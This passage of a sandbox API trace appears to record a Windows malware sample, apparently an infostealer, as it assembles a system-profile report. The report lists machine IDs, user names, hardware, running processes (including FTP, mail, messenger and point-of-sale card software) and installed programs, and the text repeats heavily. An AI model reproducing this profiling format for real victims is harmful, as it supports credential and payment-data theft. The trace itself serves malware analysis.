3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001"
[0054.970] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]"
[0054.970] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- 